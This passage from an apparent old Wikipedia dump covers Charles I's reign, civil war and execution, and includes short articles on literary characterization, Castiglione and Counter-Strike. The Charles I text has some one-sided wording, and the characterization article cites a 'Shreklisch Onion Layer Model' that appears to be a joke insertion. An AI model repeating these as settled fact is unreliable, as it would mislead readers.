Distrust of Charles's religious policies was increased by the controversy surrounding the ecclesiastic [[Richard Montagu]]. In a pamphlet, Montagu argued against the teachings of [[John Calvin]], immediately bringing himself into disrepute amongst the Puritans. A Puritan member of the House of Commons, [[John Pym]], attacked Montagu's pamphlet during debate, prompting Montagu to request the aid of Charles I in a pamphlet entitled &quot;Appello Caesarem&quot; ([[Latin]] &quot;I appeal to Caesar&quot;, a reference to an appeal against Jewish persecution made by [[Paul of Tarsus|Saint Paul the Apostle]]). Charles I offered the cleric his protection, leading many Puritans to take a hostile view towards him.

Charles's primary concern during his early reign was foreign policy. [[Frederick V, Elector Palatine]], his sister Elizabeth's husband, had lost his hereditary lands in the [[Palatinate]] to the Holy Roman Emperor [[Ferdinand II, Holy Roman Emperor|Ferdinand II]], leading to the [[Thirty Years' War]], originally only a war to keep the Catholic [[Habsburg]]s hegemonic as the elected Kings of [[Bohemia]], though which spiralled out of control into a civil and confessional war between Protestants and Catholics in Europe. Charles was committed to help his brother-in-law regain the Palatinate by waging a war with the Catholic Spanish King [[Philip IV of Spain|Philip IV]], whom he hoped he could force to intercede with the Emperor on his behalf.

Parliament preferred an inexpensive naval attack on Spanish colonies in the New World, hoping that the capture of the Spanish treasure fleets could finance the war. Charles, however, preferred more aggressive (and more expensive) action on the Continent. Parliament only voted to grant a subsidy of £140,000; an insufficient sum for Charles. Moreover, the House of Commons agreed to allow the King to collect tonnage and poundage (two varieties of customs duties), but only for a period of one year, although previous Sovereigns since 1414 had been granted the right for life. In this manner, the House of Commons hoped to keep a check on Charles's power by forcing him to seek the renewal of the grant each year.

Charles's allies in the House of Lords, led by the Duke of Buckingham, refused to pass the bill. Although no Parliamentary authority for the levy of tonnage and poundage could be obtained, Charles continued to collect the duties anyway.

==The Personal Rule==
In January 1629, Charles opened the second session of the Parliament which had been prorogued in June 1628. He hoped that, with the Duke of Buckingham gone, Parliament would finally cooperate with him and grant him further subsidies. Instead, members of the House of Commons began to voice their opposition to the levying of tonnage and poundage without parliamentary consent. When he requested a parliamentary adjournment in March, members held the Speaker down in his chair whilst three resolutions against Charles were read aloud. The last of these resolutions declared that anyone who paid tonnage or poundage not authorised by Parliament would &quot;be reputed a betrayer of the liberties of England, and an enemy to the same&quot;. Though the resolution was not formally passed, many members declared their approval. Afterwards, when the Commons passed further measures obnoxious to the King, Charles commanded the dissolution of Parliament.

Charles resolved not to be forced to rely on Parliament for further monetary aid. Immediately, he made peace with France and Spain. The following eleven years, during which Charles ruled without a Parliament, have been known as the Eleven Years Tyranny. Historians who do not wish to take sides simply refer to this period as the [[Personal Rule]]. Charles' attempt to rule without Parliament was not unlawful under the precedents at that time: it constituted a valid exercise of the royal prerogative, although it must be noted that what had been considered lawful in previous times may well be seen as tyrannical in contemporary eyes. Such was the case of Charles' Tyranny: though in former ages his rule would indeed be considered just and right by most Englishmen, towards the middle of the 17th century it was held by most of his subjects an exercise of absolute power. Indeed, the [[Thirteen Colonies|American colonialists]] would repeat the same charges of tyranny (lodging and quartering of troops in civilian properties; taxation without representation; deprivation of the common law right to jury trial; denial of judicial life-tenure; and the use of various tortures, etc.) against the British Crown a century later in the American Revolution.

[[Image:Charlesx3.JPG|thumb|left|350px|Sir Anthony van Dyck, Charles I's court painter, created the famous &quot;Charles I, King of England, from Three Angles&quot;, commonly known as the &quot;Triple Portrait&quot;. The oil painting was made on canvas around 1636, and is an example of how Van Dyck tended to mask Charles I's small stature, portraying him in a more dignified manner.]]

In the meantime Charles still had to acquire funds in order to maintain his treasury. Relying on an all but forgotten feudal statute passed in 1278, requiring anyone who earned £40 or more each year to present himself at the King's coronation so that he may join the royal army as a knight, Charles fined all individuals who failed to attend his coronation in 1626. He reintroduced the obsolete feudal tax known as [[ship money]] which was even more unpopular. A writ issued in 1634 ordered the collection of ship money in peacetime, notwithstanding statutes of [[Edward I of England|Edward I]] and [[Edward III of England|Edward III]] that had prohibited the levying of such a tax except during wars. This first writ of 1634, however, did not encourage much opposition on legal grounds, but a second writ of 1635 did. Charles' third writ demanding ship money, issued in 1636, made it clear that the ancient prohibition on collecting ship money during peacetime had been swept away. Many attempted to resist payment, but Charles' judges, whose tenure depended on his &quot;good pleasure,&quot; declared that the tax was within the King's prerogative. This action of demanding ship money to be raised in peacetime aggravated rebellion thus forcing him to call parliament into session by 1640.

==Religious conflicts==
Charles believed in a sacramental version of the [[Church]] of [[England]] called [[Anglicanism|High Anglicanism]], with a theology based upon [[Arminianism]], a belief shared by his main political advisor, Archbishop [[William Laud]]. Laud was appointed by Charles as the [[Archbishop of Canterbury]] in 1633 and started a series of reforms in the Church to make it more ceremonial, starting with the replacement of the wooden [[Eucharist|communion]] tables with stone altars. Laud attempted to ensure religious uniformity by dismissing non-conformist clergymen and closing Puritan organisations, thereby violating the average man's freedom of conscience.  This was actively hostile to the [[Reformed churches|Reformist]] tendencies of many of his English and Scottish subjects. His policy was obnoxious to [[Calvinism|Calvinist]] theology, and insisted that the Church of England's [[liturgy]] be celebrated with all of the ceremony and [[vestment]]s called for by the [[Book of Common Prayer]].

In order to punish those who refused to conform to the religious norms established by the Church of England he used the two most feared and most arbitrary courts in the land, the [[Court of High Commission]] and the [[Star Chamber|Court of Star Chamber]]. The former could compel individuals to provide self-incriminating testimony, whilst the latter could inflict any punishment whatsoever (including torture), with the sole exception of death.

The lawlessness of the Court of Star Chamber under Charles I far exceeded that under any of his predecessors. Under Charles' reign, defendants were regularly hauled before the Court without indictment, due process of the law, right to confront witnesses, and their testimonies were routinely extracted by the King and his courtiers through extensive torture.

The first years of the Eleven Year Tyranny were marked by peace (guaranteed by what was essentially a police state) in England. Several individuals opposed Charles' taxes and Laud's policies, but remained under control. When, however, Charles attempted to impose his religious policies in Scotland he faced numerous difficulties. The King ordered the use of a new Prayer Book modeled on the English ''[[Book of Common Prayer]]'', which, although supported by the Scottish Bishops, was resisted by many Presbyterian Scots, who saw the new Prayer Book as a vehicle for introducing Anglicanism to Scotland. When the General Assembly of the Church of Scotland abolished Episcopalian government (that is, governance of the Church by Bishops) in 1638, replacing it with Presbyterian government (that is, governance by Elders and Deacons), Charles sought to put down what he saw as a rebellion against his authority.

In 1639, when the [[Bishops' Wars|First Bishops' War]] broke out, he sought to collect taxes from his subjects, who refused to yield any further. Charles's war ended in a humiliating truce in June of the same year. In the Pacification of Berwick, Charles agreed to grant his Scottish subjects civil and ecclesiastical freedoms.

==Short and Long Parliaments==
Disputes regarding the interpretation of the peace treaty between Charles and the Church of Scotland led to further conflict. To subdue the Scots, Charles needed more money; therefore, he took the fateful step of recalling Parliament in April 1640. Although Charles offered to repeal ship money, the House of Commons proved obdurate. It demanded the discussion of various abuses of power during the Personal Rule. As Parliament stood fast, it was dissolved in May 1640, less than a month after it assembled; thus, the Parliament became known as the &quot;[[Short Parliament]]&quot;.

In the meantime, Charles attempted to defeat the Scots, but failed miserably. The humiliating [[Treaty of Ripon]], signed after the end of the [[Bishops' Wars|Second Bishops' War]] in October 1640, required the King to pay the expenses of the Scottish army he had just fought. Charles took the unusual step of summoning the ''[[magnum concilium]]'', the ancient council of all the Peers of the Realm, who were considered the King's hereditary counsellors. The ''magnum concilium'' had not been summoned in centuries, and it has not been summoned since Charles's reign. On the advice of the peers, Charles summoned another Parliament, which, in contrast with its predecessor, became known as the [[Long Parliament]].

[[Image:Carolus I Angliae.jpg|thumb|200px|Sir Anthony van Dyck. Equestrian portrait of Charles I with Seignior de St. Antoine]] 

The Long Parliament assembled in November 1640 under the leadership of [[John Pym]], and proved just as difficult to negotiate with as the Short Parliament. It undertook measures which both threatened Charles' political position and caused him some personal grief. The members of the House of Commons thought of themselves as conservatives defending the King, the Church and parliamentary government against innovations in religion and the tyranny of Charles's cronies, but their actions made Charles view many of them as dangerous rebels trying to undermine traditional government. For example, Charles was unable to resist demands for the execution of his advisor [[Thomas Wentworth, 1st Earl of Strafford]].

To prevent the King from dissolving it at will, Parliament passed the [[Triennial Act]], to which the Royal Assent was granted in February 1641. The Act required that Parliament was to be summoned at least once every three years, and that when the King failed to issue proper summons, the members could assemble on their own. In May, he assented to an even more far-reaching Act, which provided that Parliament could not be dissolved without its own consent. Charles was forced into one concession after another. He agreed to [[bill of attainder|bills of attainder]] authorising the executions of Thomas Wentworth and William Laud. Ship money, fines in destraint of knighthood and forced loans were declared unlawful, and the hated Courts of [[Star Chamber]] and [[High Commission]] were abolished. Although he made several important concessions, Charles improved his own military position by securing the favour of the Scots. He finally agreed to the official establishment of Presbyterianism; in return, he was able to enlist considerable anti-parliamentary support.

[[Image:Henrietta Maria.jpg|thumb|Henrietta Maria (c. 1633) by Sir Anthony van Dyke]]
In November 1641, the House of Commons passed the [[Grand Remonstrance]], denouncing all the abuses of power Charles had committed since the beginning of his reign. The tension was heightened when the [[Irish Rebellion of 1641|Irish rebelled]] against Protestant English rule and rumours of Charles' complicity reached Parliament. An army was required to put down the rebellion but many members of the House of Commons feared that Charles might later use it against Parliament itself. The [[Militia Bill]] was intended to wrest control of the army from the King, but Charles refused to give up such an important part of his royal prerogative.

The House of Commons then threatened to impeach Charles' Catholic Queen, Henrietta Maria, finally leading the King to take desperate action. His wife persuaded him to arrest the five members of the House of Commons who led the anti-Stuart faction on charges of high treason, but, when the King had made his decision, she made the mistake of informing a friend who in turn alerted Parliament. Charles entered the House of Commons with an armed force on [[4 January]] [[1642]], but found that his opponents had already escaped. By violating Parliament with an armed force, Charles made the breach permanent. Many in Parliament thought Charles's actions outrageous, but others had similar sentiments about the actions of Parliament itself. Several members of the House of Commons left to join the royalist party, leaving the King's opponents with a majority. It was no longer safe for Charles to be in [[London]], and he went north to raise an army against Parliament; the Queen, at the same time, went abroad to raise money to pay for it.

==Civil war==
The [[English Civil War]] had not yet started, but both sides began to arm. After futile negotiations, Charles raised the royal standard (an anachronistic mediæval gesture) in [[Nottingham]] on [[22 August]] [[1642]]. He then set up his court at [[Oxford]], whence his government controlled roughly the north and west of England, Parliament remaining in control of London and the south and east. Charles raised an army using the archaic method of the [[Commission of Array]]. The Civil War started on [[25 October]] [[1642]] with the inconclusive [[Battle of Edgehill]] and continued indecisively through 1643 and 1644, until the [[Battle of Naseby]] tipped the military balance decisively in favor of Parliament. There followed a great number of defeats for the Royalists, and then the [[Siege of Oxford]], from which Charles escaped in April 1646. He put himself into the hands of the Scottish Presbyterian army at [[Newark, England|Newark]], and was taken to nearby [[Southwell]] while his &quot;hosts&quot; decided what to do with him. The Presbyterians finally arrived at an agreement with Parliament and delivered Charles to them in 1647. He was imprisoned at [[Holdenby House]] in [[Northamptonshire]], until cornet [[George Joyce]] took him by force to [[Newmarket]] in the name of the [[New Model Army]]. At this time, mutual suspicion had developed between the New Model Army and Parliament, and Charles was eager to exploit it.

He was then transferred first to [[Oatlands]] and then to [[Hampton Court Palace|Hampton Court]], where more involved but fruitless negotiations went on. He was persuaded that it would be in his best interests to escape&amp;mdash;perhaps abroad, perhaps to France, or perhaps to the custody of [[Robert Hammond]], Parliamentary Governor of the [[Isle of Wight]]. He decided on the last course, believing Hammond to be sympathetic, and fled on [[11 November]]. Hammond, however, was opposed to Charles, whom he confined in [[Carisbrooke Castle]].

From Carisbrooke, Charles continued to try to bargain with the various parties, eventually coming to terms with the Scottish Presbyterians that he would allow the establishment of [[Presbyterianism]] in England as well as Scotland for a trial period. The Royalists rose in July 1648, and the Scots invaded, beginning the so-called &quot;Second Civil War&quot;. The Scottish armies, however, were defeated within months, their final loss coming in August at the [[Battle of Preston (1648)|Battle of Preston]].

==Trial and execution==
Charles was moved to [[Hurst Castle]] at the end of 1648, and thereafter to [[Windsor Castle]]. In January 1649, the House of Commons&amp;mdash;without the assent of either the Sovereign or the House of Lords&amp;mdash;passed an Act of Parliament creating a court for Charles's trial. The idea was a novel one; previous monarchs had been deposed, but had never been brought to trial as monarchs. The High Court of Justice established by the Act consisted of 135 Commissioners (all firm Parliamentarians); the [[prosecutor|prosecution]] was led by [[Solicitor General for England and Wales|Solicitor General]] [[John Cook (regicide)|John Cook]].

The King's trial (on charges of high treason and &quot;other high crimes&quot;) began on [[2 January]], but Charles refused to enter a plea, claiming that no court had jurisdiction over a monarch. He believed that his own authority to rule had been given to him by God when he was crowned and anointed, and that the power wielded by those trying him was simply that which grew out of a barrel of gunpowder. The court was proposing that no man is above the law. Over a period of a week, when Charles was asked to plead three times, he refused. It was then normal practice to take a refusal to plead as ''[[pro confesso]]'': an admission of guilt, which meant that the prosecution could not call witnesses to its case. [[List of regicides of Charles I|Fifty-nine of the Commissioners]] signed Charles's death warrant, on [[29 January]] [[1649]]. After the ruling, he was led from [[St. James's Palace]], where he was confined, to the [[Palace of Whitehall]], where an execution scaffold had been erected in front of the [[Banqueting House at Whitehall|Banqueting House]].

[[Image:Contemporary German print depicting Charles I's beheading.jpg|thumb|275px|This contemporary German print depicts Charles I's decapitation.]]
When Charles was beheaded on [[January 30]], [[1649]], a moan was heard from the assembled crowd, some of whom then dipped their handkerchiefs in his blood, thus starting the cult of the [[Martyr]] King. There is some historical debate over the identity of the man who beheaded the King, who was masked at the scene. It is known that the Commissioners approached [[Richard Brandon]], the common Hangman of London, but that he refused, and contemporary sources do not generally identify him as the King's headsman. ''Ellis's Historical Inquiries'', however, name him as the executioner, stating that he stated so before dying. It is possible he relented and agreed to undertake the commission, but there are others who have been identified. An Irish man named [[Gunning]] is widely believed to have killed the King, and a plaque naming him as the executioner is on show in [[Galway city]] in [[Ireland]]. William Hewlett was convicted of regicide after the [[English Restoration|Restoration]]. In 1661, two people identified as &quot;Dayborne and Bickerstaffe&quot; were arrested but then discharged. Henry Walker, a revolutionary journalist, or his brother William, were suspected but never charged. Various local legends around England name local worthies. Contemporary sources that reported one blow and the cut through vertebrae examined in 1813 at Windsor imply that the execution was done by an experienced headsman: [[Henri Brandon]] the Common Hangman of London, trained by his father and long experienced.

It was common practice for the head of a traitor to be held up and exhibited to the crowd with the words &quot;Behold the head of a traitor!&quot;; although Charles' head was exhibited, the words were not used. It might be, because William Hewlett, the inexperienced stand-by, did not know to do so. In an unprecedented gesture, one of the revolutionary leaders, [[Oliver Cromwell]], allowed the King's head to be sewn back on his body so the family could pay its respects. Charles was buried in private and at night on [[7 February]] [[1649]], in the Henry VIII vault inside [[St. George's Chapel, Windsor|St. George's Chapel]] in Windsor Castle. The King's son, King Charles II, later planned an elaborate royal mausoleum, but this never eventuated.

Ten days after Charles's execution, a [[memoir]] purporting to be from Charles's hand appeared for sale. This book, the ''[[Eikon Basilike]]'' (Greek: the &quot;Royal Portrait&quot;), contained an ''apologia'' for royal policies, and proved an effective piece of royalist propaganda. John Cooke published the speech he would have delivered if Charles had pled, while Parliament commissioned [[John Milton]] to write a rejoinder, the ''[[Eikonoklastes]]'' (&quot;The Iconoclast&quot;), but the response made little headway against the pathos of the royalist book.

==Legacy==
[[Image:Charles I memorial.jpg|right|thumb|250px|Memorial to Charles I at [[Carisbrooke Castle]], [[Isle of Wight]]]]
With the monarchy overthrown, power was assumed by Oliver Cromwell, then Lord General of the Parliamentary Army. The Long Parliament (known by then as the [[Rump Parliament]]) which had been called by Charles I in 1640 continued to exist until Cromwell forcibly disbanded it in 1653. Cromwell then became [[Lord Protector]] of England, Scotland and Ireland; a monarch in all but name: he was even &quot;invested&quot; on the royal coronation chair. Upon his death in 1658, Cromwell was briefly succeeded by his son, [[Richard Cromwell]]. Richard Cromwell was an ineffective ruler, and the Long Parliament was reinstated in 1659. The Long Parliament dissolved itself in 1660, and the first elections in twenty years led to the election of a [[Convention Parliament]] which restored Charles I's eldest son to the monarchy as [[Charles II of England|Charles II]].

Upon the Restoration, Charles II added a commemoration of his father&amp;mdash;to be observed on [[30 January]], the date of the execution&amp;mdash;to the ''Book of Common Prayer''. In the time of Queen [[Victoria of the United Kingdom|Victoria]] this was however removed due to popular discontent with the commemorating of a dead monarch with a major feast day of the Church; now, [[30 January]] is only listed as a &quot;Lesser Festival.&quot; There are several Anglican/Episcopal churches dedicated to Charles I as &quot;King and Martyr,&quot; in England, [[Canada]], [[Australia]] and the [[United States]]. The [[Society of King Charles the Martyr]] was established in 1894 by one Mrs Greville-Negent, assisted by Fr. James Fish, rector of [[St Margaret Pattens]], London. The objectives of the SKCM include prayer for the Church of England and the Anglican Communion, promoting a wider observance of [[30 January]] in commemoration of Charles' &quot;martyrdom,&quot; and the reinstatement of his feast day in the Book of Common Prayer. King Charles is regarded as a [[martyr]] by some Anglicans for his notion of &quot;Christian [[Kingship]],&quot; and as a &quot;defender of the Anglican faith.&quot;

The [[Carolina|Colony of Carolina]] in [[North America]] was named for Charles I. Carolina later separated into [[North Carolina]] and [[South Carolina]], which eventually declared independence from England during the formation of the United States. To the north in the [[Virginia Colony]], [[Cape Charles]], the [[Charles River (Virginia)|Charles River]], [[Charles River Shire]] and [[Charles City Shire]] were named for him. Charles City Shire survives almost 400 years later as [[Charles City County, Virginia]].

==Style and arms==
The official [[style (manner of address)|style]] of Charles I was &quot;Charles, by the Grace of God, [[List of monarchs of England|King of England]], [[List of Monarchs of Scotland|Scotland]], [[English Kings of France|France]] and [[Kingdom of Ireland|Ireland]], [[Fidei defensor|Defender of the Faith]], etc.&quot; (The claim to [[France]] was only nominal, and had been asserted by every English King since [[Edward III of England|Edward III]], regardless of the amount of French territory actually controlled.) The authors of his death warrant, however, did not wish to use the religious portions of his title. It only referred to him as &quot;Charles Stuart, King of England&quot;.

Whilst he was King, Charles I's [[heraldry|arms]] were: ''Quarterly, I and IV Grandquarterly, Azure three fleurs-de-lis Or (for France) and Gules three lions passant guardant in pale Or (for England); II Or a lion rampant within a tressure flory-counter-flory Gules (for Scotland); III Azure a harp Or stringed Argent (for Ireland)''.

==Issue==
[[Image:The children of Charles I of England-painting by Sir Anthony van Dyck in 1637.jpg|thumb|300px|Painting of Charles I's children. The future [[Charles II of England|Charles II]] is depicted at centre, stroking the dog.]]

Charles was father to a total of 9 legitimate children, two of whom would eventually succeed him as king. Several other children died in childhood.

{| class=&quot;wikitable&quot;
|- 
!Name!!Birth!!Death!!Notes
|-
|Charles James, Duke of Cornwall||[[13 March]] [[1629]]||[[13 March]] [[1629]]||&amp;nbsp;
|-
|[[Charles II of England|HM King Charles II]]||[[29 May]] [[1630]]||[[6 February]] [[1685]]||married 1662, [[Catherine of Braganza]]; no issue 
|-
|[[James II of England|HM King James VII and II]]||[[14 October]] [[1633]]||[[16 September]] [[1701]]||(1) married 1659, [[Lady Anne Hyde|The Lady Anne Hyde]]; had issue; wife died 1671&lt;br&gt;(2) married 1673, [[Mary of Modena]]; had issue
|-
|[[Henry Stuart, Duke of Gloucester|Henry, Duke of Gloucester]]||[[8 July]] [[1640]]||[[18 September]] [[1660]]||&amp;nbsp;
|-
|[[Mary, Princess Royal and Princess of Orange|Mary, Princess Royal]]||[[4 November]] [[1631]]||[[24 December]] [[1660]]||married 1648, [[William II of Orange|William II, Prince of Orange]]; had issue
|-
|Elizabeth||[[29 December]] [[1635]]||[[8 September]] [[1650]]||&amp;nbsp; 
|-
|Anne||[[17 March]] [[1637]]||[[8 December]] [[1640]]||died of natural causes at age three
|-
|Catherine||[[29 January]] [[1639]]||[[29 January]] [[1639]]||&amp;nbsp; 
|-
|[[Henrietta Anne Stuart|Henrietta Anne]]||[[16 June]] [[1644]]||[[30 June]] [[1670]]||married 1661, [[Philip I, Duke of Orléans]]; had issue
|}

==In modern culture==
The television special ''[[Blackadder|Blackadder: The Cavalier Years]]'' features a surreal version of the events leading to his execution. Charles's life has often been treated seriously in [[novel]]s and plays as well as on film.

==See also==
*[[List of regicides of Charles I]]
*[[Society of King Charles the Martyr]]

==References==
*''Ellis's Historical Inquiries''
*Gardiner, Samuel Rawson, ed. (1906). ''The Constitutional Documents of the Puritan Revolution 1625&amp;ndash;1660,'' 3rd revised ed. Oxford: Oxford University Press.
*Williamson, D. (1998). ''The Kings and Queens of England''. New York: National Portrait Gallery.
*Robertson, Geoffrey (2005). ''The Tyrannicide Brief: The Man Who Sent Charles I to the Scaffold''. Chatto &amp; Windus ISBN: 0701176024 

==External links==
*[http://www.royal.gov.uk/output/Page76.asp The Royal Household. (2004). &quot;Charles I.&quot; Official Web Site of the British Monarchy]
*[http://www.skcm.org The Society of King Charles the Martyr]

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{{succession box three to three |
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  title1=[[List of British monarchs|King of England]] |
  title3=[[King of Ireland]] |
  title2=[[List of British monarchs|King of Scots]] |
  years1=1625&amp;ndash;1649 |
  years2=1625&amp;ndash;1649 |
  years3=1625&amp;ndash;1649 |
  after=[[Commonwealth of England|Council of State]] (de facto)&lt;br/&gt;[[Charles II of England|Charles II]] (de jure)
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{{start box}}
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{{succession box|before=[[Henry Frederick, Prince of Wales]]|after=[[Charles II of England]]|title=[[Prince of Wales]]|years=}}
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{{featured article}}

[[Category:1600 births|Charles I of England]]
[[Category:1649 deaths|Charles I of England]]
[[Category:British executions|Charles I of England]]
[[Category:Dukes in the Peerage of England]]
[[Category:Dukes in the Peerage of Scotland]]
[[Category:English Civil War]]
[[Category:English monarchs]]
[[Category:Executed royalty members]]
[[Category:House of Stuart]]
[[Category:Knights of the Garter]]
[[Category:Natives of Fife]]
[[Category:English saints]]
[[Category:Scottish monarchs]]

[[cy:Siarl I o Loegr a'r Alban]]
[[da:Karl 1. af England]]
[[de:Karl I. (England)]]
[[es:Carlos I de Inglaterra]]
[[fi:Englannin Kaarle I]]
[[fr:Charles Ier d'Angleterre]]
[[he:&amp;#1510;'&amp;#1488;&amp;#1512;&amp;#1500;&amp;#1505; &amp;#1492;&amp;#1512;&amp;#1488;&amp;#1513;&amp;#1493;&amp;#1503; &amp;#1502;&amp;#1500;&amp;#1498; &amp;#1488;&amp;#1504;&amp;#1490;&amp;#1500;&amp;#1497;&amp;#1492;]]
[[it:Carlo I d'Inghilterra]]
[[ja:&amp;#12481;&amp;#12515;&amp;#12540;&amp;#12523;&amp;#12474;1&amp;#19990; (&amp;#12452;&amp;#12531;&amp;#12464;&amp;#12521;&amp;#12531;&amp;#12489;&amp;#29579;)]]
[[kw:Charlys I a Bow Sows]]
[[la:Carolus I (rex Anglicus)]]
[[nl:Karel I van Engeland]]
[[nn:Karl I av England]]
[[pl:Karol I (król Anglii i Szkocji)]]
[[pt:Carlos I de Inglaterra]]
[[ru:Карл I Стюарт]]
[[sv:Karl I av England]]
[[zh:&amp;#26597;&amp;#29702;&amp;#19968;&amp;#19990; (&amp;#33521;&amp;#22283;)]]</text>
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  </page>
  <page>
    <title>Characterization</title>
    <id>7427</id>
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      <timestamp>2006-02-07T22:09:45Z</timestamp>
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      <minor />
      <comment>robot  modifying: pl</comment>
      <text xml:space="preserve">:''For the legal concept, see [[characterisation (conflict)]].''
:''For the mathematical concept, see [[characterization (mathematics)]].''

'''Characterization''' is the process of creating [[fictional character|characters]] in [[fiction]], often those who are different from and have different beliefs than the [[author]]. A [[writer]] can assume the point of view of a child, an older person, a member of the opposite gender, someone of another race or culture, or anyone who isn't like them in personality or otherwise.  

Thorough characterization makes characters well-rounded and complex even though the writer may not be like the character or share his or her attitudes and beliefs.  This allows for a sense of [[realism (arts)|realism]]. For example, according to [[F.R. Leavis]], [[Leo Tolstoy]] was the creator of some of the most complex and psychologically believable characters in fiction. 

Characterization can involve developing a variety of aspects of a character, such as appearance, age, gender, educational level, vocation or occupation, financial status, marital status, social status, hobbies, religious beliefs, ambitions, motivations, etc.  According to the Shreklisch Onion Layer Model, the psychological makeup of a fully developed storybook character involves fears, emotions, backstory, issues, beliefs, practices, desires, and intentions.  Often these can be shown through the actions and language of the character, rather than by telling the reader directly.

In [[fan fiction]], thorough characterization is not usually necessary since a writer is using characters already familiar to the reader. An exception is in stories set in [[Alternative universe (fan fiction)|alternative universes]], which may significantly change the personalities of characters established by others, and directly revealing details may be necessary to avoid reader confusion or to warn the reader of settings he or she may not like.

In essays or novels, characterization is character development, which helps to establish themes.

Characterization can be presented either directly or indirectly. Direct characterization takes place when the author literally tells the audience what a character is like. In indirect characterization, the audience must deduce for themselves what the character is like through the character's thoughts, actions, speech, looks and interaction with other characters. 

[[Category:Narratology]]

[[pl:Charakteryzacja (termin literacki)]]</text>
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  </page>
  <page>
    <title>Cuzco</title>
    <id>7428</id>
    <revision>
      <id>15905496</id>
      <timestamp>2005-02-11T02:00:31Z</timestamp>
      <contributor>
        <username>Huhsunqu</username>
        <id>177625</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Cusco]]</text>
    </revision>
  </page>
  <page>
    <title>Castiglione</title>
    <id>7429</id>
    <revision>
      <id>37545981</id>
      <timestamp>2006-01-31T18:21:20Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ru</comment>
      <text xml:space="preserve">'''Castiglione''' is the name of several geographical locations (mostly in [[Italy]]), as well as the [[surname]] of several famous people.
&lt;br&gt;&lt;br&gt;
'''People'''
*'''[[Baldassare Castiglione]]''': famed [[Italy|Italian]] [[Renaissance]] [[writer]] and [[diplomat]]
*'''[[Giuseppe Castiglione]],''' [[Jesuit|SJ]]: [[Jesuit]] [[painter]] and [[Jesuit China missions|missionary to China]]
&lt;br&gt;
'''Places'''&lt;br&gt;
[[Town]]s in [[Italy]]:
* [[Castiglion Fibocchi]], in the [[province of Arezzo ]]
* [[Castiglion Fiorentino]], in the [[province of Arezzo ]]
* [[Castiglione a Casauria]], in the [[province of Pescara]]
* [[Castiglione Chiavarese]], in the [[province of Genova]]
* [[Castiglione Cosentino]], in the [[province of Cosenza]]
* [[Castiglione d'Adda]], in the [[province of Lodi]]
* [[Castiglione dei Genovesi]], in the [[province of Salerno ]]
* [[Castiglione dei Pepoli]], in the [[province of Bologna ]]
* [[Castiglione del Lago]], in the [[province of Perugia ]]
* [[Castiglione della Pescaia]], in the [[province of Grosseto ]]
* [[Castiglione delle Stiviere]], in the [[province of Mantova ]]
* [[Castiglione di Garfagnana]], in the [[province of Lucca ]]
* [[Castiglione di Sicilia ]], in the [[province of Catania]]
* [[Castiglione d'Intelvi]], in the [[province of Como ]]
* [[Castiglione d'Orcia]], in the [[province of Siena ]]
* [[Castiglione Falletto]], in the [[province of Cuneo ]]
* [[Castiglione in Teverina]], in the [[province of Viterbo ]]
* [[Castiglione Messer Marino]], in the [[province of Chieti ]]
* [[Castiglione Messer Raimondo]], in the [[province of Teramo ]]
* [[Castiglione Marittimo]], in the [[province of Catanzaro]]
* [[Castiglione Olona]], in the [[province of Varese ]]
* [[Castiglione Tinella]], in the [[province of Cuneo ]]
* [[Castiglione Torinese]], in the [[province of Torino ]]

[[Castiglione, Haute-Corse]] is a commune of the [[Haute-Corse]] ''[[département in France|département]]'' in [[France]], on the island of [[Corsica]]

{{disambig}}

[[de:Castiglione]]
[[fr:Castiglione]]
[[it:Castiglione]]
[[ru:Кастильоне]]</text>
    </revision>
  </page>
  <page>
    <title>Crowley on egolessness</title>
    <id>7430</id>
    <revision>
      <id>15905498</id>
      <timestamp>2004-10-22T21:30:26Z</timestamp>
      <contributor>
        <username>Stevertigo</username>
        <id>4099</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#redirect:[[Egolessness#Crowley on egolessness]]</text>
    </revision>
  </page>
  <page>
    <title>Counter-Strike</title>
    <id>7431</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42102307</id>
      <timestamp>2006-03-03T21:14:12Z</timestamp>
      <contributor>
        <ip>130.184.57.182</ip>
      </contributor>
      <comment>In the paragraph starting &quot;The 'Counter-Strike' team was formed by Minh Le&quot;... the *word* 'alot' was used, but it's two words. So I put a &lt;space&gt; in between.</comment>
      <text xml:space="preserve">:''For the [[military tactic]] used in [[Defense (military)|defense]], see [[counterattack]].''
:''For the [[African]] [[musical group]], see [[Counter Strike]].''

{{Infobox CVG| title = Counter-Strike
| image = [[Image:Counter-Strike Box.jpg|250px|]]
| developer = [[Valve Software]]
| publisher = [[Vivendi Universal]] (PC)&lt;br&gt; [[Microsoft Game Studios]] (Xbox)
| designer =
| engine = [[Half-Life]] engine ([[GoldSrc]])
| released =  [[June 19]] [[1999]] (Original Half-Life MOD)&lt;BR&gt; [[November 8]] [[2000]] (PC)&lt;br&gt;[[March 25]] [[2004]] (Xbox)
| genre = [[First-person shooter]]
| modes = [[Single player]], [[multiplayer]]
| ratings = [[ESRB]]: Mature 17+ (M)
| platforms = [[Personal computer|PC]], [[Xbox]]
| media = [[Compact disc|CD]] or [[Steam (content delivery)|Steam]] download
| requirements = 133 MHz [[Central processing unit|processor]], 24 MB [[RAM]]
| input =
}}
'''''Counter-Strike''''' ('''CS''') is the common name given to a series of team-based [[tactical shooter]] [[computer and video games|games]] which originate with '''''Counter-Strike''''', a [[Mod_%28computer_gaming%29#Total_conversion|total conversion mod]] of [[Valve Software]]'s [[first-person shooter]] ''[[Half-Life (computer game)|Half-Life]]''. The series also includes '''''[[Counter-Strike: Condition Zero]]''''' and '''''[[Counter-Strike: Source]]'''''. 

''Counter-Strike'' pits a team of [[counter-terrorist]]s against a team of [[terrorism|terrorists]] in rounds of competition won by completing an objective or eliminating the opposing team. The latest incarnation of the game, ''[[Counter-Strike: Source]]'' (CS:S), is based on the [[Source engine]] developed for ''[[Half-Life 2]]''. CS is widely acknowledged as the most successful and popular of the [[tactical shooter]] genre. Signs of CS's wide influence can be found in mods for ''[[Quake III Arena]]'', ''[[Unreal Tournament]]'', and other standalone shooters such as ''Global Operations'' and ''[[Soldier of Fortune|Soldier of Fortune II]]''. 
